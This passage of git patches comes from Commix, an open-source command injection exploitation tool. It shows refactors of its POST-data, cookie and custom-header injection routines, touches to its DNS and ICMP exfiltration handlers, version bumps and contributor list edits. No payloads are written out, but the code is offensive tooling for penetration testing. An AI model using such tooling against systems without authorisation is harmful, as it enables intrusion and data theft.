f52657da28..5a1edf8e47 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -69,7 +69,7 @@ def injection_test(payload, http_request_method, url): # Check if defined method is POST. else: parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") @@ -204,7 +204,7 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht else: # Check if defined method is POST. parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 6af66fa9a7..0294a98a3c 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -58,7 +58,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, # Check if defined method is POST. else : parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) @@ -110,7 +110,7 @@ def injection_test(payload, http_request_method, url): # Check if defined method is POST. else: parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index 0e9f173190..998513b834 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -196,7 +196,7 @@ def dns_exfiltration_handler(url, http_request_method): else: parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) parameter = parameters.do_POST_check(parameter, http_request_method) request = _urllib.request.Request(url, parameter) headers.do_check(request) diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 5e0bc7e63b..5bf2ddbfda 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -224,7 +224,7 @@ def icmp_exfiltration_handler(url, http_request_method): else: parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) parameter = parameters.do_POST_check(parameter, http_request_method) request = _urllib.request.Request(url, parameter) headers.do_check(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index 28afb94261..7577fa220f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "62" +REVISION = "63" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From fba9e9ace5a3aa12ced66ffebf3df102e0681cd2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 4 Feb 2022 09:06:24 +0200 Subject: [PATCH 0068/1023] Update README.md --- README.md | 1 - 1 file changed, 1 deletion(-) diff --git a/README.md b/README.md index cb6625b562..309a8ec79a 100644 --- a/README.md +++ b/README.md @@ -11,7 +11,6 @@ **Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), that automates the detection and exploitation of **[command injection](https://www.owasp.org/index.php/Command_Injection)** vulnerabilities. -## Screenshot ![Screenshot](https://commixproject.com/images/background.png) From d4cca7d54fe9112e265baa030f164025398cec7f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 7 Feb 2022 09:10:10 +0200 Subject: [PATCH 0069/1023] Update THANKS.md --- doc/THANKS.md | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/doc/THANKS.md b/doc/THANKS.md index bb92530d1d..f30098a9ba 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -9,18 +9,19 @@ ## List of individual contributors: * Thanks [0x27](https://github.com/0x27) for suggesting an enhancement. * Thanks [609496288](https://github.com/609496288) for reporting a bug. +* Thanks [6kemb0bani](https://github.com/6kemb0bani) for reporting a bug. * Thanks [Abdallah-Fouad-X](https://github.com/Abdallah-Fouad-X) for reporting a bug. * Thanks [abdoxfox](https://github.com/abdoxfox) for reporting a bug. * Thanks [ajinabraham](https://github.com/ajinabraham) for reporting a few bugs and for suggesting some features * Thanks [Alan Placidina](https://github.com/Placidina) for contributing code. -* Thanks [alpha1e0](https://github.com/alpha1e0) for reporting a bug. and for contributing code. +* Thanks [alpha1e0](https://github.com/alpha1e0) for reporting a bug and for contributing code. * Thanks [András Veres-Szentkirályi](https://github.com/dnet) for contributing code. -* Thanks [Anton Bolshakov](https://github.com/blshkv) for contributing code.and for suggesting an enhancement. +* Thanks [Anton Bolshakov](https://github.com/blshkv) for contributing code and for suggesting an enhancement. * Thanks [apprentice](https://github.com/apprentice) for contributing code. * Thanks [arbazkiraak](https://github.com/arbazkiraak) for suggesting a feature. * Thanks [ayzikhn18](https://github.com/ayzikhn18) for reporting a bug. * Thanks [B4RD4k](https://github.com/B4RD4k) for reporting a few bugs. -* Thanks [blshkv](https://github.com/blshkv) for reporting a bug.and for suggesting a feature. +* Thanks [blshkv](https://github.com/blshkv) for reporting a bug and for suggesting a feature. * Thanks [botdigit-admin](https://github.com/botdigit-admin) for reporting a bug. * Thanks [CaptanLuffy](https://github.com/CaptanLuffy) for reporting a bug. * Thanks [Cat0x00](https://github.com/Cat0x00) for reporting a bug. @@ -61,9 +62,11 @@ * Thanks [plonibarploni](https://github.com/plonibarploni) for reporting a bug. * Thanks [pomil-1969](https://github.com/pomil-1969) for reporting a bug. * Thanks [powercrypt](https://github.com/powercrypt) for reporting a few bugs. +* Thanks [prince74igor](https://github.com/prince74igor) for suggesting an enhancement. * Thanks [royharoush](https://github.com/royharoush) for suggesting an enhancement. * Thanks [royshum93](https://github.com/royshum93) for reporting a bug. * Thanks [SaifSalah](https://github.com/SaifSalah) for reporting a bug. +* Thanks [saltasatelites](https://github.com/saltasatelites) for reporting a bug. * Thanks [scblakely](https://github.com/scblakely) for reporting a bug. * Thanks [shaojava](https://github.com/shaojava) for reporting a bug. * Thanks [shelld3v](https://github.com/shelld3v) for contributing code. @@ -72,6 +75,7 @@ * Thanks [Slavery](https://github.com/Slavery) for reporting a bug. * Thanks [sno0ose](https://github.com/sno0ose) for reporting a bug. * Thanks [somarrr](https://github.com/somarrr) for reporting a bug. +* Thanks [Suselz](https://github.com/Suselz) for reporting a few bugs and for suggesting suggesting enhancements. * Thanks [td4b](https://github.com/td4b) for contributing code. * Thanks [techn0tr0ll](https://github.com/techn0tr0ll) for reporting a bug. * Thanks [Tensha](https://github.com/Tensha) for reporting a bug. @@ -85,6 +89,7 @@ * Thanks [VolkNwn](https://github.com/VolkNwn) for reporting a bug. * Thanks [w9w](https://github.com/w9w) for reporting a bug. * Thanks [WangSongsen](https://github.com/WangSongsen) for reporting a bug. +* Thanks [webideveli](https://github.com/webideveli) for reporting a bug. * Thanks [xsuperbug.](https://github.com/xsuperbug.) for suggesting a few features * Thanks [XVilka](https://github.com/XVilka) for suggesting an enhancement. * Thanks [yournainaidi](https://github.com/yournainaidi) for reporting a few bugs. From 88f06f5b7a7ecfcddda23127c54d37a02cacae4f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 10 Feb 2022 08:51:44 +0200 Subject: [PATCH 0070/1023] Minor update --- src/core/injections/controller/controller.py | 50 ++++++++------------ src/utils/settings.py | 2 +- 2 files changed, 21 insertions(+), 31 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 01d48e8882..db91e3a17f 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -514,7 +514,6 @@ def cookie_injection(url, http_request_method, filename, timesec): """ def get_request(url, http_request_method, filename, timesec): - #if not settings.COOKIE_INJECTION: found_url = parameters.do_GET_check(url, http_request_method) if found_url != False: @@ -555,16 +554,11 @@ def get_request(url, http_request_method, filename, timesec): check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) - # Enable Cookie Injection - if menu.options.level > settings.DEFAULT_INJECTION_LEVEL and menu.options.cookie: - settings.COOKIE_INJECTION = True - """ Check if HTTP Method is POST. """ def post_request(url, http_request_method, filename, timesec): - parameter = menu.options.data found_parameter = parameters.do_POST_check(parameter, http_request_method) @@ -618,10 +612,6 @@ def post_request(url, http_request_method, filename, timesec): check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) - # Enable Cookie Injection - if menu.options.level > settings.DEFAULT_INJECTION_LEVEL and menu.options.cookie: - settings.COOKIE_INJECTION = True - """ Perform checks """ @@ -672,28 +662,28 @@ def basic_level_checks(): if settings.PERFORM_BASIC_SCANS: basic_level_checks() - # Check for stored injections on User-agent / Referer / Host HTTP headers (if level > 2). - if menu.options.level >= settings.HTTP_HEADER_INJECTION_LEVEL: - if settings.INJECTED_HTTP_HEADER == False : - check_parameter = "" - stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec) - else: + if menu.options.level >= settings.COOKIE_INJECTION_LEVEL: # Enable Cookie Injection - if menu.options.level > settings.DEFAULT_INJECTION_LEVEL: - if menu.options.cookie: - cookie_injection(url, http_request_method, filename, timesec) - else: - warn_msg = "The HTTP Cookie header is not provided, " - warn_msg += "so this test is going to be skipped." - print(settings.print_warning_msg(warn_msg)) + if menu.options.cookie: + cookie_injection(url, http_request_method, filename, timesec) else: - # Custom header Injection - if settings.CUSTOM_HEADER_INJECTION == True: - check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.CUSTOM_HEADER_INJECTION = None + warn_msg = "The HTTP Cookie header is not provided, " + warn_msg += "so this test is going to be skipped." + print(settings.print_warning_msg(warn_msg)) + + if menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL: + if settings.INJECTED_HTTP_HEADER == False : + check_parameter = "" + # Check for stored injections on User-agent / Referer / Host HTTP headers (if level > 2). + stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec) + + # Custom header Injection + if settings.CUSTOM_HEADER_INJECTION == True: + check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME + settings.HTTP_HEADER = header_name[1:].lower() + check_for_stored_sessions(url, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) + settings.CUSTOM_HEADER_INJECTION = None if settings.INJECTION_CHECKER == False: diff --git a/src/utils/settings.py b/src/utils/settings.py index 7577fa220f..068349303d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "63" +REVISION = "64" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 419ce8f8e0e071a1414e7568062e9122f325b0ac Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 11 Feb 2022 08:46:01 +0200 Subject: [PATCH 0071/1023] Minor update --- src/core/injections/controller/controller.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index db91e3a17f..1d08ba1ac0 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -356,7 +356,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time warn_msg += " " + str(http_request_method) + "" warn_msg += str(the_type) + str(header_name) + str(check_parameter) warn_msg += " seems to be not injectable." - print(settings.print_warning_msg(warn_msg)) + print(settings.print_bold_warning_msg(warn_msg)) """ Inject HTTP headers (User-agent / Referer / Host) (if level > 2). diff --git a/src/utils/settings.py b/src/utils/settings.py index 068349303d..c20ab4b721 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "64" +REVISION = "65" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 7cba206d6003715ab7273f446c8fc13494421646 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 20 Feb 2022 11:18:09 +0200 Subject: [PATCH 0072/1023] Minor fix --- src/core/injections/controller/checks.py | 45 ++++++++++++------------ src/utils/settings.py | 4 +-- 2 files changed, 25 insertions(+), 24 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f9ceacaeb0..618c1e90a6 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -55,31 +55,32 @@ def not_declared_cookies(response): try: candidate = re.search(r'([^;]+);?', response.headers['set-cookie']).group(1) - if candidate: + if candidate and settings.DECLARED_COOKIES is not False: settings.DECLARED_COOKIES = True if settings.CRAWLED_SKIPPED_URLS != 0: print(settings.SINGLE_WHITESPACE) - while True: - if not menu.options.batch: - question_msg = "You have not declared cookie(s), while " - question_msg += "server wants to set its own ('" + str(candidate) + "'). " - question_msg += "Do you want to use those [Y/n] > " - set_cookies = _input(settings.print_question_msg(question_msg)).lower() - else: - set_cookies = "" - if len(set_cookies) == 0: - set_cookies = "Y" - if set_cookies in settings.CHOICE_YES: - menu.options.cookie = candidate - break - elif set_cookies in settings.CHOICE_NO: - break - elif set_cookies in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + set_cookies + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass + while True: + if not menu.options.batch: + question_msg = "You have not declared cookie(s), while " + question_msg += "server wants to set its own ('" + str(candidate) + "'). " + question_msg += "Do you want to use those [Y/n] > " + set_cookies = _input(settings.print_question_msg(question_msg)).lower() + else: + set_cookies = "" + if len(set_cookies) == 0: + set_cookies = "Y" + if set_cookies in settings.CHOICE_YES: + menu.options.cookie = candidate + break + elif set_cookies in settings.CHOICE_NO: + settings.DECLARED_COOKIES = False + break + elif set_cookies in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + set_cookies + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass except (KeyError, TypeError): pass diff --git a/src/utils/settings.py b/src/utils/settings.py index c20ab4b721..a0da4858e9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "65" +REVISION = "66" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1054,7 +1054,7 @@ def sys_argv_errors(): # Force usage of given HTTP method (e.g. PUT). HTTP_METHOD = "" -DECLARED_COOKIES = False +DECLARED_COOKIES = "" CRAWLED_SKIPPED_URLS = 0 From b28fe7598bca3a108c359aed7741db1db6e627b1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 24 Feb 2022 19:24:55 +0200 Subject: [PATCH 0073/1023] Update CHANGELOG.md --- doc/CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 6cd1a56d48..5a1aaab4c5 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.4 (TBA) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`). * Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). * Fixed: Minor bug-fix regarding parsing JSON objects. From 7a13e49e65926b47d87f983585009a777bfd337a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 25 Feb 2022 09:21:44 +0200 Subject: [PATCH 0074/1023] Updated to v3.4 --- doc/CHANGELOG.md | 2 +- setup.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 5a1aaab4c5..9cd2a7d8aa 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,4 @@ -## Version 3.4 (TBA) +## Version 3.4 (2022-01-25) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`). * Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). diff --git a/setup.py b/setup.py index a13aa90fcb..049b89c5d6 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.3', + version='3.4', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/utils/settings.py b/src/utils/settings.py index a0da4858e9..7f0c2a2817 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -226,7 +226,7 @@ def sys_argv_errors(): AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" REVISION = "66" -STABLE_RELEASE = False +STABLE_RELEASE = True if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" else: From 7d632778c3aa42716098b6f9dd3e44f65d359f49 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 25 Feb 2022 09:24:42 +0200 Subject: [PATCH 0075/1023] Update CHANGELOG.md --- doc/CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 9cd2a7d8aa..33dcd229ad 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,4 @@ -## Version 3.4 (2022-01-25) +## Version 3.4 (2022-02-25) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`). * Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). From 8ede51991467076202644e21c9a28ac5b0530327 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 7 Mar 2022 10:56:04 +0200 Subject: [PATCH 0076/1023] Minor patch for injecting into custom HTTP Header --- setup.py | 2 +- src/core/requests/headers.py | 1 + src/core/requests/requests.py | 2 +- src/utils/settings.py | 7 ++++--- 4 files changed, 7 insertions(+), 5 deletions(-) diff --git a/setup.py b/setup.py index 049b89c5d6..d328f17c46 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.4', + version='3.5-dev', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index b4aff61a45..495573cbcd 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -424,6 +424,7 @@ def do_check(request): settings.INJECT_TAG in http_header_value: settings.CUSTOM_HEADER_INJECTION = True settings.CUSTOM_HEADER_NAME = http_header_name + settings.CUSTOM_HEADER_VALUE = http_header_value # Add HTTP Header name / value to the HTTP request if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: request.add_header(http_header_name, http_header_value) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index f0063bdb21..66dbad4bf8 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -895,7 +895,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) - request.add_header(settings.CUSTOM_HEADER_NAME, payload) + request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, payload)) try: headers.check_http_traffic(request) response = opener.open(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index 7f0c2a2817..384cdbef6e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -224,9 +224,9 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" -VERSION_NUM = "3.4" -REVISION = "66" -STABLE_RELEASE = True +VERSION_NUM = "3.5" +REVISION = "1" +STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" else: @@ -580,6 +580,7 @@ def sys_argv_errors(): # Custom HTTP Headers injection CUSTOM_HEADER_INJECTION = False CUSTOM_HEADER_NAME = "" +CUSTOM_HEADER_VALUE = "" # Valid URL format check VALID_URL_FORMAT = "https?://(?:www)?(?:[\w-]{2,255}(?:\.\w{2,6}){1,2})(?:/[\w&%?#-]{1,310})?" From d84f7ec4e917814b76e9135533516a652e121e93 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 8 Mar 2022 07:28:02 +0200 Subject: [PATCH 0077/1023] Minor patch (1) for https://github.com/commixproject/commix/commit/8ede51991467076202644e21c9a28ac5b0530327 --- src/core/injections/controller/controller.py | 16 +++++++++------- src/utils/settings.py | 2 +- 2 files changed, 10 insertions(+), 8 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 1d08ba1ac0..052bf6ed6e 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -274,6 +274,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if check_parameter.startswith(" "): header_name = "" the_type = " HTTP header" + if settings.CUSTOM_HEADER_INJECTION: + check_parameter = " '" + check_parameter.strip() + "'" else: if settings.COOKIE_INJECTION: header_name = " cookie" @@ -627,12 +629,6 @@ def basic_level_checks(): settings.IDENTIFIED_WARNINGS = False settings.IDENTIFIED_PHPINFO = False - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: - get_request(url, http_request_method, filename, timesec) - else: - post_request(url, http_request_method, filename, timesec) - timesec = settings.TIMESEC # Check if authentication is needed. if menu.options.auth_url and menu.options.auth_data: @@ -684,7 +680,13 @@ def basic_level_checks(): check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) settings.CUSTOM_HEADER_INJECTION = None - + + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: + get_request(url, http_request_method, filename, timesec) + else: + post_request(url, http_request_method, filename, timesec) + if settings.INJECTION_CHECKER == False: return False diff --git a/src/utils/settings.py b/src/utils/settings.py index 384cdbef6e..349079d59f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "1" +REVISION = "2" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From ba26dbeb75bcc453a8e1c00b852526a6a38cf138 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 9 Mar 2022 07:40:14 +0200 Subject: [PATCH 0078/1023] Minor patch (2) for https://github.com/commixproject/commix/commit/8ede51991467076202644e21c9a28ac5b0530327 --- src/core/injections/controller/controller.py | 7 ++++--- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 052bf6ed6e..d9136f74f1 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -250,8 +250,10 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m Proceed to the injection process for the appropriate parameter. """ def injection_proccess(url, check_parameter, http_request_method, filename, timesec): + # Skipping basic heuristic detection procedure (regarding specific HTTP headers). inject_http_headers = False - if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS): + if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ + any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): inject_http_headers = True if menu.options.ignore_code: @@ -274,8 +276,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if check_parameter.startswith(" "): header_name = "" the_type = " HTTP header" - if settings.CUSTOM_HEADER_INJECTION: - check_parameter = " '" + check_parameter.strip() + "'" + check_parameter = " '" + check_parameter.strip() + "'" else: if settings.COOKIE_INJECTION: header_name = " cookie" diff --git a/src/utils/settings.py b/src/utils/settings.py index 349079d59f..89f836790f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "2" +REVISION = "3" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 1232bf63dc9c52aa31fe0ded5e0dc06a1407f77e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 10 Mar 2022 08:54:19 +0200 Subject: [PATCH 0079/1023] Minor patch (3) for https://github.com/commixproject/commix/commit/8ede51991467076202644e21c9a28ac5b0530327 --- doc/CHANGELOG.md | 3 +++ src/core/injections/controller/controller.py | 2 +- src/core/requests/headers.py | 2 +- src/core/requests/requests.py | 7 +++++-- src/utils/settings.py | 2 +- 5 files changed, 11 insertions(+), 5 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 33dcd229ad..8d84e79456 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,6 @@ +## Version 3.5 (TBA) +* Revised: Improvement regarding injecting into custom HTTP Header(s). + ## Version 3.4 (2022-02-25) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`). diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index d9136f74f1..afd2c47327 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -676,7 +676,7 @@ def basic_level_checks(): # Custom header Injection if settings.CUSTOM_HEADER_INJECTION == True: - check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME + check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 495573cbcd..8875ce7923 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -421,7 +421,7 @@ def do_check(request): http_header_value = ''.join(http_header_value).strip().replace(": ",":") # Check if it is a custom header injection. if settings.CUSTOM_HEADER_INJECTION == False and \ - settings.INJECT_TAG in http_header_value: + (settings.INJECT_TAG in http_header_value or http_header_name in settings.TEST_PARAMETER): settings.CUSTOM_HEADER_INJECTION = True settings.CUSTOM_HEADER_NAME = http_header_name settings.CUSTOM_HEADER_VALUE = http_header_value diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 66dbad4bf8..7dba87375e 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -894,8 +894,11 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): request = _urllib.request.Request(url) #Check if defined extra headers. headers.do_check(request) - payload = checks.newline_fixation(payload) - request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, payload)) + payload = checks.newline_fixation(payload) + if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: + request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, payload)) + else: + request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE + payload) try: headers.check_http_traffic(request) response = opener.open(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index 89f836790f..f2c2aaad8f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "3" +REVISION = "4" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From c408dd132eec4de0bdf597960cd58dd2c497ae50 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 12 Mar 2022 17:26:13 +0200 Subject: [PATCH 0080/1023] Fixes https://github.com/commixproject/commix/issues/744 --- src/core/modules/dns_exfiltration/dns_exfiltration.py | 6 +++--- src/core/modules/icmp_exfiltration/icmp_exfiltration.py | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index 998513b834..d1266781e9 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ 